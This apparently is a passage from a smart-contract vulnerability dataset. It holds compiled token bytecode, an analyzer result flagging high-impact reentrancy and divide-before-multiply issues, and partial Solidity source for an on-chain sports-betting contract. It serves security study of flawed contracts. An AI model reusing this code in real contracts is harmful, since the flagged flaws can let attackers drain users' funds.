ff0219169083151502179055505b60016014600061282461290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415612891576001600f601a6101000a81548160ff0219169083151502179055505b565b6000808314156128a65760009050612908565b600082846128b49190614b86565b90508284826128c39190614b55565b14612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa906148a3565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297d90614963565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ed90614843565b60405180910390fd5b80601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612ad491906149e3565b60405180910390a3505050565b601060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612b4d57600160056000828254612b459190614ac8565b925050819055505b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f90614943565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7f90614823565b60405180910390fd5b60008111612ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc290614903565b60405180910390fd5b6000612cd78484613154565b90506000612d048260ff16612cf660648661310a90919063ffffffff16565b61289390919063ffffffff16565b90506000612d1b828561325990919063ffffffff16565b9050612d288587326132a3565b612d31856136e1565b15612d4d57600854612d42866116c3565b10612d4c57600080fd5b5b612d5686613796565b15612db357601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612db257600080fd5b5b612dbd86866137f1565b15612deb57612dcc8686613889565b15612de157600654841115612de057600080fd5b5b612dea86613994565b5b612e3d84601660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461325990919063ffffffff16565b601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ed281601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c590919063ffffffff16565b601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6782601660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c590919063ffffffff16565b601660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161300791906149e3565b60405180910390a3601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b25d625987876040518363ffffffff1660e01b815260040161306c9291906146d3565b600060405180830381600087803b15801561308657600080fd5b505af115801561309a573d6000803e3d6000fd5b50505050505050505050565b60008383111582906130ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130e59190614801565b60405180910390fd5b50600083856130fd9190614be0565b9050809150509392505050565b600061314c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a23565b905092915050565b600080601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806131f85750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1590508061321d576000600e60006101000a81548160ff021916908360ff1602179055505b8015613240576005600e60006101000a81548160ff021916908360ff1602179055505b600e60009054906101000a900460ff1691505092915050565b600061329b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506130a6565b905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061334c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80156133645750600f60149054906101000a900460ff165b156136dc576000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42385600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b81526004016133ec939291906146fc565b602060405180830381600087803b15801561340657600080fd5b505af115801561341a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061343e919061434d565b90506000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42385600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518463ffffffff1660e01b81526004016134c3939291906146fc565b602060405180830381600087803b1580156134dd57600080fd5b505af11580156134f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613515919061434d565b905081156135f85761352685612ae1565b61352f83612ae1565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663034254c986856040518363ffffffff1660e01b815260040161358c9291906146d3565b600060405180830381600087803b1580156135a657600080fd5b505af11580156135ba573d6000803e3d6000fd5b505050507f9a7289cf5e3a6716dd5e9f62deae04d4bc9df473808bf34bcdbcf2245942439285846040516135ef9291906146d3565b60405180910390a15b80156136d95761360784612ae1565b61361083612ae1565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663034254c985856040518363ffffffff1660e01b815260040161366d9291906146d3565b600060405180830381600087803b15801561368757600080fd5b505af115801561369b573d6000803e3d6000fd5b505050507f9a7289cf5e3a6716dd5e9f62deae04d4bc9df473808bf34bcdbcf2245942439284846040516136d09291906146d3565b60405180910390a15b50505b505050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561378f5750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60006137fb611998565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156138695750613839611998565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156138815750600f60149054906101000a900460ff165b905092915050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156139365750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561398c5750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600061399f306116c3565b90506139aa82613a86565b156139c1576139b881613b12565b6139c0613e0c565b5b5050565b60008082846139d49190614ac8565b905083811015613a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a1090614863565b60405180910390fd5b8091505092915050565b60008083118290613a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a619190614801565b60405180910390fd5b5060008385613a799190614b55565b9050809150509392505050565b6000600f60159054906101000a900460ff16158015613af35750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613b0b5750600f60169054906101000a900460ff165b9050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613b70577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015613b9e5781602001602082028036833780820191505090505b5090503081600081518110613bdc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613c7e57600080fd5b505afa158015613c92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cb69190614234565b81600181518110613cf0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613d5730601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612916565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613dbb9594939291906149fe565b600060405180830381600087803b158015613dd557600080fd5b505af1158015613de9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000613e84600c5460156000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461325990919063ffffffff16565b90506000613eaf6003613ea160058561310a90919063ffffffff16565b61289390919063ffffffff16565b90506000600f60179054906101000a900460ff1615613ee257613edb828461325990919063ffffffff16565b9050613f18565b6040518060400160405280600060ff168152602001600060ff16815250600d906002613f0f92919061411e565b50600091508290505b60156000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c81905550613f9460028361310a90919063ffffffff16565b600d600081548110613fcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020016000828254613fe89190614ac8565b9250508190555061400360028361310a90919063ffffffff16565b600d60018154811061403e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160008282546140579190614ac8565b92505081905550600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156140c6573d6000803e3d6000fd5b50505050565b82805482825590600052602060002090810192821561410d579160200282015b8281111561410c578251829060ff169055916020019190600101906140ec565b5b50905061411a9190614170565b5090565b82805482825590600052602060002090810192821561415f579160200282015b8281111561415e578251829060ff1690559160200191906001019061413e565b5b50905061416c9190614170565b5090565b5b80821115614189576000816000905550600101614171565b5090565b60008135905061419c816150b2565b92915050565b6000815190506141b1816150b2565b92915050565b6000813590506141c6816150c9565b92915050565b6000815190506141db816150e0565b92915050565b6000813590506141f0816150f7565b92915050565b600081519050614205816150f7565b92915050565b60006020828403121561421d57600080fd5b600061422b8482850161418d565b91505092915050565b60006020828403121561424657600080fd5b6000614254848285016141a2565b91505092915050565b60006020828403121561426f57600080fd5b600061427d848285016141b7565b91505092915050565b6000806040838503121561429957600080fd5b60006142a78582860161418d565b92505060206142b88582860161418d565b9150509250929050565b6000806000606084860312156142d757600080fd5b60006142e58682870161418d565b93505060206142f68682870161418d565b9250506040614307868287016141e1565b9150509250925092565b6000806040838503121561432457600080fd5b60006143328582860161418d565b9250506020614343858286016141e1565b9150509250929050565b60006020828403121561435f57600080fd5b600061436d848285016141cc565b91505092915050565b60008060006060848603121561438b57600080fd5b6000614399868287016141f6565b93505060206143aa868287016141f6565b92505060406143bb868287016141f6565b9150509250925092565b60006143d183836143dd565b60208301905092915050565b6143e681614c14565b82525050565b6143f581614c14565b82525050565b600061440682614a83565b6144108185614aa6565b935061441b83614a73565b8060005b8381101561444c57815161443388826143c5565b975061443e83614a99565b92505060018101905061441f565b5085935050505092915050565b61446281614c38565b82525050565b61447181614c7b565b82525050565b600061448282614a8e565b61448c8185614ab7565b935061449c818560208601614c8d565b6144a581614d7f565b840191505092915050565b60006144bd602383614ab7565b91506144c882614d90565b604082019050919050565b60006144e0602283614ab7565b91506144eb82614ddf565b604082019050919050565b6000614503601b83614ab7565b915061450e82614e2e565b602082019050919050565b6000614526601083614ab7565b915061453182614e57565b602082019050919050565b6000614549602183614ab7565b915061455482614e80565b604082019050919050565b600061456c601883614ab7565b915061457782614ecf565b602082019050919050565b600061458f602083614ab7565b915061459a82614ef8565b602082019050919050565b60006145b2602983614ab7565b91506145bd82614f21565b604082019050919050565b60006145d5601a83614ab7565b91506145e082614f70565b602082019050919050565b60006145f8602583614ab7565b915061460382614f99565b604082019050919050565b600061461b602483614ab7565b915061462682614fe8565b604082019050919050565b600061463e601783614ab7565b915061464982615037565b602082019050919050565b6000614661600f83614ab7565b915061466c82615060565b602082019050919050565b6000614684601283614ab7565b915061468f82615089565b602082019050919050565b6146a381614c64565b82525050565b6146b281614c6e565b82525050565b60006020820190506146cd60008301846143ec565b92915050565b60006040820190506146e860008301856143ec565b6146f560208301846143ec565b9392505050565b600060608201905061471160008301866143ec565b61471e60208301856143ec565b61472b60408301846143ec565b949350505050565b600060408201905061474860008301856143ec565b614755602083018461469a565b9392505050565b600060c08201905061477160008301896143ec565b61477e602083018861469a565b61478b6040830187614468565b6147986060830186614468565b6147a560808301856143ec565b6147b260a083018461469a565b979650505050505050565b60006020820190506147d26000830184614459565b92915050565b60006040820190506147ed6000830185614459565b6147fa602083018461469a565b9392505050565b6000602082019050818103600083015261481b8184614477565b905092915050565b6000602082019050818103600083015261483c816144b0565b9050919050565b6000602082019050818103600083015261485c816144d3565b9050919050565b6000602082019050818103600083015261487c816144f6565b9050919050565b6000602082019050818103600083015261489c81614519565b9050919050565b600060208201905081810360008301526148bc8161453c565b9050919050565b600060208201905081810360008301526148dc8161455f565b9050919050565b600060208201905081810360008301526148fc81614582565b9050919050565b6000602082019050818103600083015261491c816145a5565b9050919050565b6000602082019050818103600083015261493c816145c8565b9050919050565b6000602082019050818103600083015261495c816145eb565b9050919050565b6000602082019050818103600083015261497c8161460e565b9050919050565b6000602082019050818103600083015261499c81614631565b9050919050565b600060208201905081810360008301526149bc81614654565b9050919050565b600060208201905081810360008301526149dc81614677565b9050919050565b60006020820190506149f8600083018461469a565b92915050565b600060a082019050614a13600083018861469a565b614a206020830187614468565b8181036040830152614a3281866143fb565b9050614a4160608301856143ec565b614a4e608083018461469a565b9695505050505050565b6000602082019050614a6d60008301846146a9565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614ad382614c64565b9150614ade83614c64565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614b1357614b12614cf2565b5b828201905092915050565b6000614b2982614c6e565b9150614b3483614c6e565b92508260ff03821115614b4a57614b49614cf2565b5b828201905092915050565b6000614b6082614c64565b9150614b6b83614c64565b925082614b7b57614b7a614d21565b5b828204905092915050565b6000614b9182614c64565b9150614b9c83614c64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614bd557614bd4614cf2565b5b828202905092915050565b6000614beb82614c64565b9150614bf683614c64565b925082821015614c0957614c08614cf2565b5b828203905092915050565b6000614c1f82614c44565b9050919050565b6000614c3182614c44565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614c8682614c64565b9050919050565b60005b83811015614cab578082015181840152602081019050614c90565b83811115614cba576000848401525b50505050565b60006002820490506001821680614cd857607f821691505b60208210811415614cec57614ceb614d50565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416c726561647920766572696669656400000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f416c6c2070617274696573206d75737420636f6e73656e740000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f416c7265616479206465636c6172656420696e766573746f7273000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4e6f7420616e20496e766573746f720000000000000000000000000000000000600082015250565b7f506c65617365207374616b652066697273740000000000000000000000000000600082015250565b6150bb81614c14565b81146150c657600080fd5b50565b6150d281614c26565b81146150dd57600080fd5b50565b6150e981614c38565b81146150f457600080fd5b50565b61510081614c64565b811461510b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acf19ae1863bcb556106bd6b7e483c6f025e9a6249e4e88996a3ecf5ab5a4a4b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,676 |
0x35bab7165a301e99c75c3e59b48817856b4d5e5c
|
pragma solidity ^0.4.18;
// zeppelin-solidity: 1.8.0
contract DataCenterInterface {
function getResult(bytes32 gameId) view public returns (uint16, uint16, uint8);
}
contract DataCenterAddrResolverInterface {
function getAddress() public returns (address _addr);
}
contract DataCenterBridge {
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 3;
string public networkName;
address public mainnetAddr = 0x6690E2698Bfa407DB697E69a11eA56810454549b;
address public testnetAddr = 0x282b192518fc09568de0E66Df8e2533f88C16672;
DataCenterAddrResolverInterface DAR;
DataCenterInterface dataCenter;
modifier dataCenterAPI() {
if((address(DAR) == 0) || (getCodeSize(address(DAR)) == 0))
setNetwork(networkID_auto);
if(address(dataCenter) != DAR.getAddress())
dataCenter = DataCenterInterface(DAR.getAddress());
_;
}
/**
* @dev set network will indicate which net will be used
* @notice comment out `networkID` to avoid 'unused parameter' warning
*/
function setNetwork(uint8 /*networkID*/) internal returns(bool){
return setNetwork();
}
function setNetwork() internal returns(bool){
if (getCodeSize(mainnetAddr) > 0) {
DAR = DataCenterAddrResolverInterface(mainnetAddr);
setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(testnetAddr) > 0) {
DAR = DataCenterAddrResolverInterface(testnetAddr);
setNetworkName("eth_ropsten");
return true;
}
return false;
}
function setNetworkName(string _networkName) internal {
networkName = _networkName;
}
function getNetworkName() internal view returns (string) {
return networkName;
}
function dataCenterGetResult(bytes32 _gameId) dataCenterAPI internal returns (uint16, uint16, uint8){
return dataCenter.getResult(_gameId);
}
function getCodeSize(address _addr) view internal returns (uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Bet is Ownable, DataCenterBridge {
using SafeMath for uint;
event LogDistributeReward(address addr, uint reward, uint index);
event LogGameResult(bytes32 indexed category, bytes32 indexed gameId, uint leftPts, uint rightPts);
event LogParticipant(address addr, uint choice, uint betAmount);
event LogRefund(address addr, uint betAmount);
event LogBetClosed(bool isRefund, uint timestamp);
event LogDealerWithdraw(address addr, uint withdrawAmount);
/**
* @desc
* gameId: is a fixed string just like "0021701030"
* the full gameId encode(include football, basketball, esports..) will publish on github
* leftOdds: need divide 100, if odds is 216 means 2.16
* middleOdds: need divide 100, if odds is 175 means 1.75
* rightOdds: need divide 100, if odds is 250 means 2.50
* spread: need sub 0.5, if spread is 1 means 0.5, 0 means no spread
* flag: indicate which team get spread, 1 means leftTeam, 3 means rightTeam
*/
struct BetInfo {
bytes32 category;
bytes32 gameId;
uint8 spread;
uint8 flag;
uint16 leftOdds;
uint16 middleOdds;
uint16 rightOdds;
uint minimumBet;
uint startTime;
uint deposit;
address dealer;
}
struct Player {
uint betAmount;
uint choice;
}
/**
* @desc
* winChoice: Indicate the winner choice of this betting
* 1 means leftTeam win, 3 means rightTeam win, 2 means draw(leftTeam is not always equivalent to the home team)
*/
uint8 public winChoice;
uint8 public confirmations = 0;
uint8 public neededConfirmations = 1;
uint16 public leftPts;
uint16 public rightPts;
bool public isBetClosed = false;
uint public totalBetAmount = 0;
uint public leftAmount;
uint public middleAmount;
uint public rightAmount;
uint public numberOfBet;
address [] public players;
mapping(address => Player) public playerInfo;
/**
* @dev Throws if called by any account other than the dealer
*/
modifier onlyDealer() {
require(msg.sender == betInfo.dealer);
_;
}
function() payable public {}
BetInfo betInfo;
function Bet(address _dealer, bytes32 _category, bytes32 _gameId, uint _minimumBet,
uint8 _spread, uint16 _leftOdds, uint16 _middleOdds, uint16 _rightOdds, uint8 _flag,
uint _startTime, uint8 _neededConfirmations, address _owner) payable public {
require(_flag == 1 || _flag == 3);
require(_startTime > now);
require(msg.value >= 0.1 ether);
require(_neededConfirmations >= neededConfirmations);
betInfo.dealer = _dealer;
betInfo.deposit = msg.value;
betInfo.flag = _flag;
betInfo.category = _category;
betInfo.gameId = _gameId;
betInfo.minimumBet = _minimumBet;
betInfo.spread = _spread;
betInfo.leftOdds = _leftOdds;
betInfo.middleOdds = _middleOdds;
betInfo.rightOdds = _rightOdds;
betInfo.startTime = _startTime;
neededConfirmations = _neededConfirmations;
owner = _owner;
}
/**
* @dev get basic information of this bet
*/
function getBetInfo() public view returns (bytes32, bytes32, uint8, uint8, uint16, uint16, uint16, uint, uint, uint, address) {
return (betInfo.category, betInfo.gameId, betInfo.spread, betInfo.flag, betInfo.leftOdds, betInfo.middleOdds,
betInfo.rightOdds, betInfo.minimumBet, betInfo.startTime, betInfo.deposit, betInfo.dealer);
}
/**
* @dev get basic information of this bet
*
* uint public numberOfBet;
* uint public totalBetAmount = 0;
* uint public leftAmount;
* uint public middleAmount;
* uint public rightAmount;
* uint public deposit;
*/
function getBetMutableData() public view returns (uint, uint, uint, uint, uint, uint) {
return (numberOfBet, totalBetAmount, leftAmount, middleAmount, rightAmount, betInfo.deposit);
}
/**
* @dev get bet result information
*
* uint8 public winChoice;
* uint8 public confirmations = 0;
* uint8 public neededConfirmations = 1;
* uint16 public leftPts;
* uint16 public rightPts;
* bool public isBetClosed = false;
*/
function getBetResult() public view returns (uint8, uint8, uint8, uint16, uint16, bool) {
return (winChoice, confirmations, neededConfirmations, leftPts, rightPts, isBetClosed);
}
/**
* @dev calculate the gas whichdistribute rewards will cost
* set default gasPrice is 5000000000
*/
function getRefundTxFee() public view returns (uint) {
return numberOfBet.mul(5000000000 * 21000);
}
/**
* @dev find a player has participanted or not
* @param player the address of the participant
*/
function checkPlayerExists(address player) public view returns (bool) {
if (playerInfo[player].choice == 0) {
return false;
}
return true;
}
/**
* @dev to check the dealer is solvent or not
* @param choice indicate which team user choose
* @param amount indicate how many ether user bet
*/
function isSolvent(uint choice, uint amount) internal view returns (bool) {
uint needAmount;
if (choice == 1) {
needAmount = (leftAmount.add(amount)).mul(betInfo.leftOdds).div(100);
} else if (choice == 2) {
needAmount = (middleAmount.add(amount)).mul(betInfo.middleOdds).div(100);
} else {
needAmount = (rightAmount.add(amount)).mul(betInfo.rightOdds).div(100);
}
if (needAmount.add(getRefundTxFee()) > totalBetAmount.add(amount).add(betInfo.deposit)) {
return false;
} else {
return true;
}
}
/**
* @dev update this bet some state
* @param choice indicate which team user choose
* @param amount indicate how many ether user bet
*/
function updateAmountOfEachChoice(uint choice, uint amount) internal {
if (choice == 1) {
leftAmount = leftAmount.add(amount);
} else if (choice == 2) {
middleAmount = middleAmount.add(amount);
} else {
rightAmount = rightAmount.add(amount);
}
}
/**
* @dev place a bet with his/her choice
* @param choice indicate which team user choose
*/
function placeBet(uint choice) public payable {
require(now < betInfo.startTime);
require(choice == 1 || choice == 2 || choice == 3);
require(msg.value >= betInfo.minimumBet);
require(!checkPlayerExists(msg.sender));
if (!isSolvent(choice, msg.value)) {
revert();
}
playerInfo[msg.sender].betAmount = msg.value;
playerInfo[msg.sender].choice = choice;
totalBetAmount = totalBetAmount.add(msg.value);
numberOfBet = numberOfBet.add(1);
updateAmountOfEachChoice(choice, msg.value);
players.push(msg.sender);
LogParticipant(msg.sender, choice, msg.value);
}
/**
* @dev in order to let more people participant, dealer can recharge
*/
function rechargeDeposit() public payable {
require(msg.value >= betInfo.minimumBet);
betInfo.deposit = betInfo.deposit.add(msg.value);
}
/**
* @dev given game result, _return win choice by specific spread
*/
function getWinChoice(uint _leftPts, uint _rightPts) public view returns (uint8) {
uint8 _winChoice;
if (betInfo.spread == 0) {
if (_leftPts > _rightPts) {
_winChoice = 1;
} else if (_leftPts == _rightPts) {
_winChoice = 2;
} else {
_winChoice = 3;
}
} else {
if (betInfo.flag == 1) {
if (_leftPts + betInfo.spread > _rightPts) {
_winChoice = 1;
} else {
_winChoice = 3;
}
} else {
if (_rightPts + betInfo.spread > _leftPts) {
_winChoice = 3;
} else {
_winChoice = 1;
}
}
}
return _winChoice;
}
/**
* @dev manualCloseBet could only be called by owner,
* this method only be used for ropsten,
* when ethereum-events-data deployed,
* game result should not be upload by owner
*/
function manualCloseBet(uint16 _leftPts, uint16 _rightPts) onlyOwner external {
require(!isBetClosed);
leftPts = _leftPts;
rightPts = _rightPts;
LogGameResult(betInfo.category, betInfo.gameId, leftPts, rightPts);
winChoice = getWinChoice(leftPts, rightPts);
if (winChoice == 1) {
distributeReward(betInfo.leftOdds);
} else if (winChoice == 2) {
distributeReward(betInfo.middleOdds);
} else {
distributeReward(betInfo.rightOdds);
}
isBetClosed = true;
LogBetClosed(false, now);
withdraw();
}
/**
* @dev closeBet could be called by everyone, but owner/dealer should to this.
*/
function closeBet() external {
require(!isBetClosed);
(leftPts, rightPts, confirmations) = dataCenterGetResult(betInfo.gameId);
require(confirmations >= neededConfirmations);
LogGameResult(betInfo.category, betInfo.gameId, leftPts, rightPts);
winChoice = getWinChoice(leftPts, rightPts);
if (winChoice == 1) {
distributeReward(betInfo.leftOdds);
} else if (winChoice == 2) {
distributeReward(betInfo.middleOdds);
} else {
distributeReward(betInfo.rightOdds);
}
isBetClosed = true;
LogBetClosed(false, now);
withdraw();
}
/**
* @dev get the players
*/
function getPlayers() view public returns (address[]) {
return players;
}
/**
* @dev get contract balance
*/
